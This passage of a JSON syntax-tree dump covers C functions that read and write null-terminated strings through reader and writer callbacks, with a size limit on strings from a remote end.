27, "column": 0}, "end_point": {"row": 27, "column": 4}}, {"id": 8, "type": "pointer_declarator", "text": "*tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t max_size)", "parent": 6, "children": [9, 10], "start_point": {"row": 27, "column": 5}, "end_point": {"row": 29, "column": 38}}, {"id": 9, "type": "*", "text": "*", "parent": 8, "children": [], "start_point": {"row": 27, "column": 5}, "end_point": {"row": 27, "column": 6}}, {"id": 10, "type": "function_declarator", "text": "tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t max_size)", "parent": 8, "children": [11, 12], "start_point": {"row": 27, "column": 6}, "end_point": {"row": 29, "column": 38}}, {"id": 11, "type": "identifier", "text": "tsf_read_string", "parent": 10, "children": [], "start_point": {"row": 27, "column": 6}, "end_point": {"row": 27, "column": 21}}, {"id": 12, "type": "parameter_list", "text": "(tsf_reader_t reader,\n void *arg,\n size_t max_size)", "parent": 10, "children": [13, 16, 21], "start_point": {"row": 27, "column": 21}, "end_point": {"row": 29, "column": 38}}, {"id": 13, "type": "parameter_declaration", "text": "tsf_reader_t reader", "parent": 12, "children": [14, 15], "start_point": {"row": 27, "column": 22}, "end_point": {"row": 27, "column": 41}}, {"id": 14, "type": "type_identifier", "text": "tsf_reader_t", "parent": 13, "children": [], "start_point": {"row": 27, "column": 22}, "end_point": {"row": 27, "column": 34}}, {"id": 15, "type": "identifier", "text": "reader", "parent": 13, "children": [], "start_point": {"row": 27, "column": 35}, "end_point": {"row": 27, "column": 41}}, {"id": 16, "type": "parameter_declaration", "text": "void *arg", "parent": 12, "children": [17, 18], "start_point": {"row": 28, "column": 22}, "end_point": {"row": 28, "column": 31}}, {"id": 17, "type": "primitive_type", "text": "void", "parent": 16, "children": [], "start_point": {"row": 28, "column": 22}, "end_point": {"row": 28, "column": 26}}, {"id": 18, "type": "pointer_declarator", "text": "*arg", "parent": 16, "children": [19, 20], "start_point": {"row": 28, "column": 27}, "end_point": {"row": 28, "column": 31}}, {"id": 19, "type": "*", "text": "*", "parent": 18, "children": [], "start_point": {"row": 28, "column": 27}, "end_point": {"row": 28, "column": 28}}, {"id": 20, "type": "identifier", "text": "arg", "parent": 18, "children": [], "start_point": {"row": 28, "column": 28}, "end_point": {"row": 28, "column": 31}}, {"id": 21, "type": "parameter_declaration", "text": "size_t max_size", "parent": 12, "children": [22, 23], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 37}}, {"id": 22, "type": "primitive_type", "text": "size_t", "parent": 21, "children": [], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 28}}, {"id": 23, "type": "identifier", "text": "max_size", "parent": 21, "children": [], "start_point": {"row": 29, "column": 29}, "end_point": {"row": 29, "column": 37}}, {"id": 24, "type": "declaration", "text": "uint8_t ui8_tmp;", "parent": 6, "children": [25, 26], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 20}}, {"id": 25, "type": "primitive_type", "text": "uint8_t", "parent": 24, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 11}}, {"id": 26, "type": "identifier", "text": "ui8_tmp", "parent": 24, "children": [], "start_point": {"row": 30, "column": 12}, "end_point": {"row": 30, "column": 19}}, {"id": 27, "type": "declaration", "text": "const size_t step=128;", "parent": 6, "children": [28, 29], "start_point": {"row": 32, "column": 4}, "end_point": {"row": 32, "column": 26}}, {"id": 28, "type": "primitive_type", "text": "size_t", "parent": 27, "children": [], "start_point": {"row": 32, "column": 10}, "end_point": {"row": 32, "column": 16}}, {"id": 29, "type": "init_declarator", "text": "step=128", "parent": 27, "children": [30, 31, 32], "start_point": {"row": 32, "column": 17}, "end_point": {"row": 32, "column": 25}}, {"id": 30, "type": "identifier", "text": "step", "parent": 29, "children": [], "start_point": {"row": 32, "column": 17}, "end_point": {"row": 32, "column": 21}}, {"id": 31, "type": "=", "text": "=", "parent": 29, "children": [], "start_point": {"row": 32, "column": 21}, "end_point": {"row": 32, "column": 22}}, {"id": 32, "type": "number_literal", "text": "128", "parent": 29, "children": [], "start_point": {"row": 32, "column": 22}, "end_point": {"row": 32, "column": 25}}, {"id": 33, "type": "declaration", "text": "size_t size=step;", "parent": 6, "children": [34, 35], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 21}}, {"id": 34, "type": "primitive_type", "text": "size_t", "parent": 33, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 10}}, {"id": 35, "type": "init_declarator", "text": "size=step", "parent": 33, "children": [36, 37, 38], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 20}}, {"id": 36, "type": "identifier", "text": "size", "parent": 35, "children": [], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 15}}, {"id": 37, "type": "=", "text": "=", "parent": 35, "children": [], "start_point": {"row": 33, "column": 15}, "end_point": {"row": 33, "column": 16}}, {"id": 38, "type": "identifier", "text": "step", "parent": 35, "children": [], "start_point": {"row": 33, "column": 16}, "end_point": {"row": 33, "column": 20}}, {"id": 39, "type": "declaration", "text": "uint32_t i=0;", "parent": 6, "children": [40, 41], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 17}}, {"id": 40, "type": "primitive_type", "text": "uint32_t", "parent": 39, "children": [], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 12}}, {"id": 41, "type": "init_declarator", "text": "i=0", "parent": 39, "children": [42, 43, 44], "start_point": {"row": 35, "column": 13}, "end_point": {"row": 35, "column": 16}}, {"id": 42, "type": "identifier", "text": "i", "parent": 41, "children": [], "start_point": {"row": 35, "column": 13}, "end_point": {"row": 35, "column": 14}}, {"id": 43, "type": "=", "text": "=", "parent": 41, "children": [], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 15}}, {"id": 44, "type": "number_literal", "text": "0", "parent": 41, "children": [], "start_point": {"row": 35, "column": 15}, "end_point": {"row": 35, "column": 16}}, {"id": 45, "type": "declaration", "text": "char *str=malloc(size);", "parent": 6, "children": [46, 47], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 27}}, {"id": 46, "type": "primitive_type", "text": "char", "parent": 45, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 8}}, {"id": 47, "type": "init_declarator", "text": "*str=malloc(size)", "parent": 45, "children": [48, 51, 52], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 26}}, {"id": 48, "type": "pointer_declarator", "text": "*str", "parent": 47, "children": [49, 50], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 13}}, {"id": 49, "type": "*", "text": "*", "parent": 48, "children": [], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 10}}, {"id": 50, "type": "identifier", "text": "str", "parent": 48, "children": [], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 13}}, {"id": 51, "type": "=", "text": "=", "parent": 47, "children": [], "start_point": {"row": 37, "column": 13}, "end_point": {"row": 37, "column": 14}}, {"id": 52, "type": "call_expression", "text": "malloc(size)", "parent": 47, "children": [53, 54], "start_point": {"row": 37, "column": 14}, "end_point": {"row": 37, "column": 26}}, {"id": 53, "type": "identifier", "text": "malloc", "parent": 52, "children": [], "start_point": {"row": 37, "column": 14}, "end_point": {"row": 37, "column": 20}}, {"id": 54, "type": "argument_list", "text": "(size)", "parent": 52, "children": [55], "start_point": {"row": 37, "column": 20}, "end_point": {"row": 37, "column": 26}}, {"id": 55, "type": "identifier", "text": "size", "parent": 54, "children": [], "start_point": {"row": 37, "column": 21}, "end_point": {"row": 37, "column": 25}}, {"id": 56, "type": "for_statement", "text": "for (;;) {\n uint32_t n;\n tsf_bool_t done=tsf_false;\n \n if (str==NULL) {\n tsf_set_errno(\"Could not (m|re)alloc string\");\n return NULL;\n }\n \n for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }\n \n if (done) {\n break;\n }\n \n size+=step;\n if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n \"Remote end attempted to send a string that \"\n \"exceeded our limit of \" fsz \".\",max_size);\n free(str);\n return NULL;\n }\n str=realloc(str,size);\n }", "parent": 6, "children": [], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 72, "column": 5}}, {"id": 57, "type": "declaration", "text": "uint32_t n;", "parent": 56, "children": [58, 59], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 19}}, {"id": 58, "type": "primitive_type", "text": "uint32_t", "parent": 57, "children": [], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 16}}, {"id": 59, "type": "identifier", "text": "n", "parent": 57, "children": [], "start_point": {"row": 40, "column": 17}, "end_point": {"row": 40, "column": 18}}, {"id": 60, "type": "declaration", "text": "tsf_bool_t done=tsf_false;", "parent": 56, "children": [61, 62], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 34}}, {"id": 61, "type": "type_identifier", "text": "tsf_bool_t", "parent": 60, "children": [], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 18}}, {"id": 62, "type": "init_declarator", "text": "done=tsf_false", "parent": 60, "children": [63, 64, 65], "start_point": {"row": 41, "column": 19}, "end_point": {"row": 41, "column": 33}}, {"id": 63, "type": "identifier", "text": "done", "parent": 62, "children": [], "start_point": {"row": 41, "column": 19}, "end_point": {"row": 41, "column": 23}}, {"id": 64, "type": "=", "text": "=", "parent": 62, "children": [], "start_point": {"row": 41, "column": 23}, "end_point": {"row": 41, "column": 24}}, {"id": 65, "type": "identifier", "text": "tsf_false", "parent": 62, "children": [], "start_point": {"row": 41, "column": 24}, "end_point": {"row": 41, "column": 33}}, {"id": 66, "type": "if_statement", "text": "if (str==NULL) {\n tsf_set_errno(\"Could not (m|re)alloc string\");\n return NULL;\n }", "parent": 56, "children": [67], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 46, "column": 9}}, {"id": 67, "type": "parenthesized_expression", "text": "(str==NULL)", "parent": 66, "children": [68], "start_point": {"row": 43, "column": 11}, "end_point": {"row": 43, "column": 22}}, {"id": 68, "type": "binary_expression", "text": "str==NULL", "parent": 67, "children": [69, 70, 71], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 21}}, {"id": 69, "type": "identifier", "text": "str", "parent": 68, "children": [], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 15}}, {"id": 70, "type": "==", "text": "==", "parent": 68, "children": [], "start_point": {"row": 43, "column": 15}, "end_point": {"row": 43, "column": 17}}, {"id": 71, "type": "null", "text": "NULL", "parent": 68, "children": [72], "start_point": {"row": 43, "column": 17}, "end_point": {"row": 43, "column": 21}}, {"id": 72, "type": "NULL", "text": "NULL", "parent": 71, "children": [], "start_point": {"row": 43, "column": 17}, "end_point": {"row": 43, "column": 21}}, {"id": 73, "type": "call_expression", "text": "tsf_set_errno(\"Could not (m|re)alloc string\")", "parent": 66, "children": [74, 75], "start_point": {"row": 44, "column": 12}, "end_point": {"row": 44, "column": 57}}, {"id": 74, "type": "identifier", "text": "tsf_set_errno", "parent": 73, "children": [], "start_point": {"row": 44, "column": 12}, "end_point": {"row": 44, "column": 25}}, {"id": 75, "type": "argument_list", "text": "(\"Could not (m|re)alloc string\")", "parent": 73, "children": [76], "start_point": {"row": 44, "column": 25}, "end_point": {"row": 44, "column": 57}}, {"id": 76, "type": "string_literal", "text": "\"Could not (m|re)alloc string\"", "parent": 75, "children": [], "start_point": {"row": 44, "column": 26}, "end_point": {"row": 44, "column": 56}}, {"id": 77, "type": "return_statement", "text": "return NULL;", "parent": 66, "children": [78], "start_point": {"row": 45, "column": 12}, "end_point": {"row": 45, "column": 24}}, {"id": 78, "type": "null", "text": "NULL", "parent": 77, "children": [79], "start_point": {"row": 45, "column": 19}, "end_point": {"row": 45, "column": 23}}, {"id": 79, "type": "NULL", "text": "NULL", "parent": 78, "children": [], "start_point": {"row": 45, "column": 19}, "end_point": {"row": 45, "column": 23}}, {"id": 80, "type": "for_statement", "text": "for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }", "parent": 56, "children": [81, 85], "start_point": {"row": 48, "column": 8}, "end_point": {"row": 57, "column": 9}}, {"id": 81, "type": "assignment_expression", "text": "n=step", "parent": 80, "children": [82, 83, 84], "start_point": {"row": 48, "column": 13}, "end_point": {"row": 48, "column": 19}}, {"id": 82, "type": "identifier", "text": "n", "parent": 81, "children": [], "start_point": {"row": 48, "column": 13}, "end_point": {"row": 48, "column": 14}}, {"id": 83, "type": "=", "text": "=", "parent": 81, "children": [], "start_point": {"row": 48, "column": 14}, "end_point": {"row": 48, "column": 15}}, {"id": 84, "type": "identifier", "text": "step", "parent": 81, "children": [], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 19}}, {"id": 85, "type": "binary_expression", "text": "n-->0", "parent": 80, "children": [86, 89, 90], "start_point": {"row": 48, "column": 20}, "end_point": {"row": 48, "column": 25}}, {"id": 86, "type": "update_expression", "text": "n--", "parent": 85, "children": [87, 88], "start_point": {"row": 48, "column": 20}, "end_point": {"row": 48, "column": 23}}, {"id": 87, "type": "identifier", "text": "n", "parent": 86, "children": [], "start_point": {"row": 48, "column": 20}, "end_point": {"row": 48, "column": 21}}, {"id": 88, "type": "--", "text": "--", "parent": 86, "children": [], "start_point": {"row": 48, "column": 21}, "end_point": {"row": 48, "column": 23}}, {"id": 89, "type": ">", "text": ">", "parent": 85, "children": [], "start_point": {"row": 48, "column": 23}, "end_point": {"row": 48, "column": 24}}, {"id": 90, "type": "number_literal", "text": "0", "parent": 85, "children": [], "start_point": {"row": 48, "column": 24}, "end_point": {"row": 48, "column": 25}}, {"id": 91, "type": "if_statement", "text": "if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }", "parent": 80, "children": [92], "start_point": {"row": 49, "column": 12}, "end_point": {"row": 51, "column": 13}}, {"id": 92, "type": "parenthesized_expression", "text": "(!reader(arg,&ui8_tmp,1))", "parent": 91, "children": [93], "start_point": {"row": 49, "column": 15}, "end_point": {"row": 49, "column": 40}}, {"id": 93, "type": "unary_expression", "text": "!reader(arg,&ui8_tmp,1)", "parent": 92, "children": [94, 95], "start_point": {"row": 49, "column": 16}, "end_point": {"row": 49, "column": 39}}, {"id": 94, "type": "!", "text": "!", "parent": 93, "children": [], "start_point": {"row": 49, "column": 16}, "end_point": {"row": 49, "column": 17}}, {"id": 95, "type": "call_expression", "text": "reader(arg,&ui8_tmp,1)", "parent": 93, "children": [96, 97], "start_point": {"row": 49, "column": 17}, "end_point": {"row": 49, "column": 39}}, {"id": 96, "type": "identifier", "text": "reader", "parent": 95, "children": [], "start_point": {"row": 49, "column": 17}, "end_point": {"row": 49, "column": 23}}, {"id": 97, "type": "argument_list", "text": "(arg,&ui8_tmp,1)", "parent": 95, "children": [98, 99, 101], "start_point": {"row": 49, "column": 23}, "end_point": {"row": 49, "column": 39}}, {"id": 98, "type": "identifier", "text": "arg", "parent": 97, "children": [], "start_point": {"row": 49, "column": 24}, "end_point": {"row": 49, "column": 27}}, {"id": 99, "type": "pointer_expression", "text": "&ui8_tmp", "parent": 97, "children": [100], "start_point": {"row": 49, "column": 28}, "end_point": {"row": 49, "column": 36}}, {"id": 100, "type": "identifier", "text": "ui8_tmp", "parent": 99, "children": [], "start_point": {"row": 49, "column": 29}, "end_point": {"row": 49, "column": 36}}, {"id": 101, "type": "number_literal", "text": "1", "parent": 97, "children": [], "start_point": {"row": 49, "column": 37}, "end_point": {"row": 49, "column": 38}}, {"id": 102, "type": "return_statement", "text": "return NULL;", "parent": 91, "children": [103], "start_point": {"row": 50, "column": 16}, "end_point": {"row": 50, "column": 28}}, {"id": 103, "type": "null", "text": "NULL", "parent": 102, "children": [104], "start_point": {"row": 50, "column": 23}, "end_point": {"row": 50, "column": 27}}, {"id": 104, "type": "NULL", "text": "NULL", "parent": 103, "children": [], "start_point": {"row": 50, "column": 23}, "end_point": {"row": 50, "column": 27}}, {"id": 105, "type": "assignment_expression", "text": "str[i++]=ui8_tmp", "parent": 80, "children": [106, 111, 112], "start_point": {"row": 52, "column": 12}, "end_point": {"row": 52, "column": 28}}, {"id": 106, "type": "subscript_expression", "text": "str[i++]", "parent": 105, "children": [107, 108], "start_point": {"row": 52, "column": 12}, "end_point": {"row": 52, "column": 20}}, {"id": 107, "type": "identifier", "text": "str", "parent": 106, "children": [], "start_point": {"row": 52, "column": 12}, "end_point": {"row": 52, "column": 15}}, {"id": 108, "type": "update_expression", "text": "i++", "parent": 106, "children": [109, 110], "start_point": {"row": 52, "column": 16}, "end_point": {"row": 52, "column": 19}}, {"id": 109, "type": "identifier", "text": "i", "parent": 108, "children": [], "start_point": {"row": 52, "column": 16}, "end_point": {"row": 52, "column": 17}}, {"id": 110, "type": "++", "text": "++", "parent": 108, "children": [], "start_point": {"row": 52, "column": 17}, "end_point": {"row": 52, "column": 19}}, {"id": 111, "type": "=", "text": "=", "parent": 105, "children": [], "start_point": {"row": 52, "column": 20}, "end_point": {"row": 52, "column": 21}}, {"id": 112, "type": "identifier", "text": "ui8_tmp", "parent": 105, "children": [], "start_point": {"row": 52, "column": 21}, "end_point": {"row": 52, "column": 28}}, {"id": 113, "type": "if_statement", "text": "if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }", "parent": 80, "children": [114], "start_point": {"row": 53, "column": 12}, "end_point": {"row": 56, "column": 13}}, {"id": 114, "type": "parenthesized_expression", "text": "(ui8_tmp==0)", "parent": 113, "children": [115], "start_point": {"row": 53, "column": 15}, "end_point": {"row": 53, "column": 27}}, {"id": 115, "type": "binary_expression", "text": "ui8_tmp==0", "parent": 114, "children": [116, 117, 118], "start_point": {"row": 53, "column": 16}, "end_point": {"row": 53, "column": 26}}, {"id": 116, "type": "identifier", "text": "ui8_tmp", "parent": 115, "children": [], "start_point": {"row": 53, "column": 16}, "end_point": {"row": 53, "column": 23}}, {"id": 117, "type": "==", "text": "==", "parent": 115, "children": [], "start_point": {"row": 53, "column": 23}, "end_point": {"row": 53, "column": 25}}, {"id": 118, "type": "number_literal", "text": "0", "parent": 115, "children": [], "start_point": {"row": 53, "column": 25}, "end_point": {"row": 53, "column": 26}}, {"id": 119, "type": "assignment_expression", "text": "done=tsf_true", "parent": 113, "children": [120, 121, 122], "start_point": {"row": 54, "column": 16}, "end_point": {"row": 54, "column": 29}}, {"id": 120, "type": "identifier", "text": "done", "parent": 119, "children": [], "start_point": {"row": 54, "column": 16}, "end_point": {"row": 54, "column": 20}}, {"id": 121, "type": "=", "text": "=", "parent": 119, "children": [], "start_point": {"row": 54, "column": 20}, "end_point": {"row": 54, "column": 21}}, {"id": 122, "type": "identifier", "text": "tsf_true", "parent": 119, "children": [], "start_point": {"row": 54, "column": 21}, "end_point": {"row": 54, "column": 29}}, {"id": 123, "type": "break_statement", "text": "break;", "parent": 113, "children": [124], "start_point": {"row": 55, "column": 16}, "end_point": {"row": 55, "column": 22}}, {"id": 124, "type": "break", "text": "break", "parent": 123, "children": [], "start_point": {"row": 55, "column": 16}, "end_point": {"row": 55, "column": 21}}, {"id": 125, "type": "if_statement", "text": "if (done) {\n break;\n }", "parent": 56, "children": [126], "start_point": {"row": 59, "column": 8}, "end_point": {"row": 61, "column": 9}}, {"id": 126, "type": "parenthesized_expression", "text": "(done)", "parent": 125, "children": [127], "start_point": {"row": 59, "column": 11}, "end_point": {"row": 59, "column": 17}}, {"id": 127, "type": "identifier", "text": "done", "parent": 126, "children": [], "start_point": {"row": 59, "column": 12}, "end_point": {"row": 59, "column": 16}}, {"id": 128, "type": "break_statement", "text": "break;", "parent": 125, "children": [129], "start_point": {"row": 60, "column": 12}, "end_point": {"row": 60, "column": 18}}, {"id": 129, "type": "break", "text": "break", "parent": 128, "children": [], "start_point": {"row": 60, "column": 12}, "end_point": {"row": 60, "column": 17}}, {"id": 130, "type": "assignment_expression", "text": "size+=step", "parent": 56, "children": [131, 132, 133], "start_point": {"row": 63, "column": 8}, "end_point": {"row": 63, "column": 18}}, {"id": 131, "type": "identifier", "text": "size", "parent": 130, "children": [], "start_point": {"row": 63, "column": 8}, "end_point": {"row": 63, "column": 12}}, {"id": 132, "type": "+=", "text": "+=", "parent": 130, "children": [], "start_point": {"row": 63, "column": 12}, "end_point": {"row": 63, "column": 14}}, {"id": 133, "type": "identifier", "text": "step", "parent": 130, "children": [], "start_point": {"row": 63, "column": 14}, "end_point": {"row": 63, "column": 18}}, {"id": 134, "type": "if_statement", "text": "if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n \"Remote end attempted to send a string that \"\n \"exceeded our limit of \" fsz \".\",max_size);\n free(str);\n return NULL;\n }", "parent": 56, "children": [135], "start_point": {"row": 64, "column": 8}, "end_point": {"row": 70, "column": 9}}, {"id": 135, "type": "parenthesized_expression", "text": "(size>max_size)", "parent": 134, "children": [136], "start_point": {"row": 64, "column": 11}, "end_point": {"row": 64, "column": 26}}, {"id": 136, "type": "binary_expression", "text": "size>max_size", "parent": 135, "children": [137, 138, 139], "start_point": {"row": 64, "column": 12}, "end_point": {"row": 64, "column": 25}}, {"id": 137, "type": "identifier", "text": "size", "parent": 136, "children": [], "start_point": {"row": 64, "column": 12}, "end_point": {"row": 64, "column": 16}}, {"id": 138, "type": ">", "text": ">", "parent": 136, "children": [], "start_point": {"row": 64, "column": 16}, "end_point": {"row": 64, "column": 17}}, {"id": 139, "type": "identifier", "text": "max_size", "parent": 136, "children": [], "start_point": {"row": 64, "column": 17}, "end_point": {"row": 64, "column": 25}}, {"id": 140, "type": "call_expression", "text": "tsf_set_error(TSF_E_PARSE_ERROR,\n \"Remote end attempted to send a string that \"\n \"exceeded our limit of \" fsz \".\",max_size)", "parent": 134, "children": [141, 142], "start_point": {"row": 65, "column": 12}, "end_point": {"row": 67, "column": 68}}, {"id": 141, "type": "identifier", "text": "tsf_set_error", "parent": 140, "children": [], "start_point": {"row": 65, "column": 12}, "end_point": {"row": 65, "column": 25}}, {"id": 142, "type": "argument_list", "text": "(TSF_E_PARSE_ERROR,\n \"Remote end attempted to send a string that \"\n \"exceeded our limit of \" fsz \".\",max_size)", "parent": 140, "children": [143, 144, 149], "start_point": {"row": 65, "column": 25}, "end_point": {"row": 67, "column": 68}}, {"id": 143, "type": "identifier", "text": "TSF_E_PARSE_ERROR", "parent": 142, "children": [], "start_point": {"row": 65, "column": 26}, "end_point": {"row": 65, "column": 43}}, {"id": 144, "type": "concatenated_string", "text": "\"Remote end attempted to send a string that \"\n \"exceeded our limit of \" fsz \".\"", "parent": 142, "children": [145, 146, 147, 148], "start_point": {"row": 66, "column": 26}, "end_point": {"row": 67, "column": 58}}, {"id": 145, "type": "string_literal", "text": "\"Remote end attempted to send a string that \"", "parent": 144, "children": [], "start_point": {"row": 66, "column": 26}, "end_point": {"row": 66, "column": 71}}, {"id": 146, "type": "string_literal", "text": "\"exceeded our limit of \"", "parent": 144, "children": [], "start_point": {"row": 67, "column": 26}, "end_point": {"row": 67, "column": 50}}, {"id": 147, "type": "identifier", "text": "fsz", "parent": 144, "children": [], "start_point": {"row": 67, "column": 51}, "end_point": {"row": 67, "column": 54}}, {"id": 148, "type": "string_literal", "text": "\".\"", "parent": 144, "children": [], "start_point": {"row": 67, "column": 55}, "end_point": {"row": 67, "column": 58}}, {"id": 149, "type": "identifier", "text": "max_size", "parent": 142, "children": [], "start_point": {"row": 67, "column": 59}, "end_point": {"row": 67, "column": 67}}, {"id": 150, "type": "call_expression", "text": "free(str)", "parent": 134, "children": [151, 152], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 21}}, {"id": 151, "type": "identifier", "text": "free", "parent": 150, "children": [], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 16}}, {"id": 152, "type": "argument_list", "text": "(str)", "parent": 150, "children": [153], "start_point": {"row": 68, "column": 16}, "end_point": {"row": 68, "column": 21}}, {"id": 153, "type": "identifier", "text": "str", "parent": 152, "children": [], "start_point": {"row": 68, "column": 17}, "end_point": {"row": 68, "column": 20}}, {"id": 154, "type": "return_statement", "text": "return NULL;", "parent": 134, "children": [155], "start_point": {"row": 69, "column": 12}, "end_point": {"row": 69, "column": 24}}, {"id": 155, "type": "null", "text": "NULL", "parent": 154, "children": [156], "start_point": {"row": 69, "column": 19}, "end_point": {"row": 69, "column": 23}}, {"id": 156, "type": "NULL", "text": "NULL", "parent": 155, "children": [], "start_point": {"row": 69, "column": 19}, "end_point": {"row": 69, "column": 23}}, {"id": 157, "type": "assignment_expression", "text": "str=realloc(str,size)", "parent": 56, "children": [158, 159, 160], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 71, "column": 29}}, {"id": 158, "type": "identifier", "text": "str", "parent": 157, "children": [], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 71, "column": 11}}, {"id": 159, "type": "=", "text": "=", "parent": 157, "children": [], "start_point": {"row": 71, "column": 11}, "end_point": {"row": 71, "column": 12}}, {"id": 160, "type": "call_expression", "text": "realloc(str,size)", "parent": 157, "children": [161, 162], "start_point": {"row": 71, "column": 12}, "end_point": {"row": 71, "column": 29}}, {"id": 161, "type": "identifier", "text": "realloc", "parent": 160, "children": [], "start_point": {"row": 71, "column": 12}, "end_point": {"row": 71, "column": 19}}, {"id": 162, "type": "argument_list", "text": "(str,size)", "parent": 160, "children": [163, 164], "start_point": {"row": 71, "column": 19}, "end_point": {"row": 71, "column": 29}}, {"id": 163, "type": "identifier", "text": "str", "parent": 162, "children": [], "start_point": {"row": 71, "column": 20}, "end_point": {"row": 71, "column": 23}}, {"id": 164, "type": "identifier", "text": "size", "parent": 162, "children": [], "start_point": {"row": 71, "column": 24}, "end_point": {"row": 71, "column": 28}}, {"id": 165, "type": "return_statement", "text": "return str;", "parent": 6, "children": [166], "start_point": {"row": 74, "column": 4}, "end_point": {"row": 74, "column": 15}}, {"id": 166, "type": "identifier", "text": "str", "parent": 165, "children": [], "start_point": {"row": 74, "column": 11}, "end_point": {"row": 74, "column": 14}}, {"id": 167, "type": "function_definition", "text": "tsf_bool_t tsf_write_string(tsf_writer_t writer,\n void *arg,\n const char *str) {\n const char *cur_char=str;\n\n do {\n if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }\n } while (*cur_char++);\n \n return tsf_true;\n}", "parent": null, "children": [168, 169], "start_point": {"row": 77, "column": 0}, "end_point": {"row": 89, "column": 1}}, {"id": 168, "type": "type_identifier", "text": "tsf_bool_t", "parent": 167, "children": [], "start_point": {"row": 77, "column": 0}, "end_point": {"row": 77, "column": 10}}, {"id": 169, "type": "function_declarator", "text": "tsf_write_string(tsf_writer_t writer,\n void *arg,\n const char *str)", "parent": 167, "children": [170, 171], "start_point": {"row": 77, "column": 11}, "end_point": {"row": 79, "column": 44}}, {"id": 170, "type": "identifier", "text": "tsf_write_string", "parent": 169, "children": [], "start_point": {"row": 77, "column": 11}, "end_point": {"row": 77, "column": 27}}, {"id": 171, "type": "parameter_list", "text": "(tsf_writer_t writer,\n void *arg,\n const char *str)", "parent": 169, "children": [172, 175, 180], "start_point": {"row": 77, "column": 27}, "end_point": {"row": 79, "column": 44}}, {"id": 172, "type": "parameter_declaration", "text": "tsf_writer_t writer", "parent": 171, "children": [173, 174], "start_point": {"row": 77, "column": 28}, "end_point": {"row": 77, "column": 47}}, {"id": 173, "type": "type_identifier", "text": "tsf_writer_t", "parent": 172, "children": [], "start_point": {"row": 77, "column": 28}, "end_point": {"row": 77, "column": 40}}, {"id": 174, "type": "identifier", "text": "writer", "parent": 172, "children": [], "start_point": {"row": 77, "column": 41}, "end_point": {"row": 77, "column": 47}}, {"id": 175, "type": "parameter_declaration", "text": "void *arg", "parent": 171, "children": [176, 177], "start_point": {"row": 78, "column": 28}, "end_point": {"row": 78, "column": 37}}, {"id": 176, "type": "primitive_type", "text": "void", "parent": 175, "children": [], "start_point": {"row": 78, "column": 28}, "end_point": {"row": 78, "column": 32}}, {"id": 177, "type": "pointer_declarator", "text": "*arg", "parent": 175, "children": [178, 179], "start_point": {"row": 78, "column": 33}, "end_point": {"row": 78, "column": 37}}, {"id": 178, "type": "*", "text": "*", "parent": 177, "children": [], "start_point": {"row": 78, "column": 33}, "end_point": {"row": 78, "column": 34}}, {"id": 179, "type": "identifier", "text": "arg", "parent": 177, "children": [], "start_point": {"row": 78, "column": 34}, "end_point": {"row": 78, "column": 37}}, {"id": 180, "type": "parameter_declaration", "text": "const char *str", "parent": 171, "children": [181, 182], "start_point": {"row": 79, "column": 28}, "end_point": {"row": 79, "column": 43}}, {"id": 181, "type": "primitive_type", "text": "char", "parent": 180, "children": [], "start_point": {"row": 79, "column": 34}, "end_point": {"row": 79, "column": 38}}, {"id": 182, "type": "pointer_declarator", "text": "*str", "parent": 180, "children": [183, 184], "start_point": {"row": 79, "column": 39}, "end_point": {"row": 79, "column": 43}}, {"id": 183, "type": "*", "text": "*", "parent": 182, "children": [], "start_point": {"row": 79, "column": 39}, "end_point": {"row": 79, "column": 40}}, {"id": 184, "type": "identifier", "text": "str", "parent": 182, "children": [], "start_point": {"row": 79, "column": 40}, "end_point": {"row": 79, "column": 43}}, {"id": 185, "type": "declaration", "text": "const char *cur_char=str;", "parent": 167, "children": [186, 187], "start_point": {"row": 80, "column": 4}, "end_point": {"row": 80, "column": 29}}, {"id": 186, "type": "primitive_type", "text": "char", "parent": 185, "children": [], "start_point": {"row": 80, "column": 10}, "end_point": {"row": 80, "column": 14}}, {"id": 187, "type": "init_declarator", "text": "*cur_char=str", "parent": 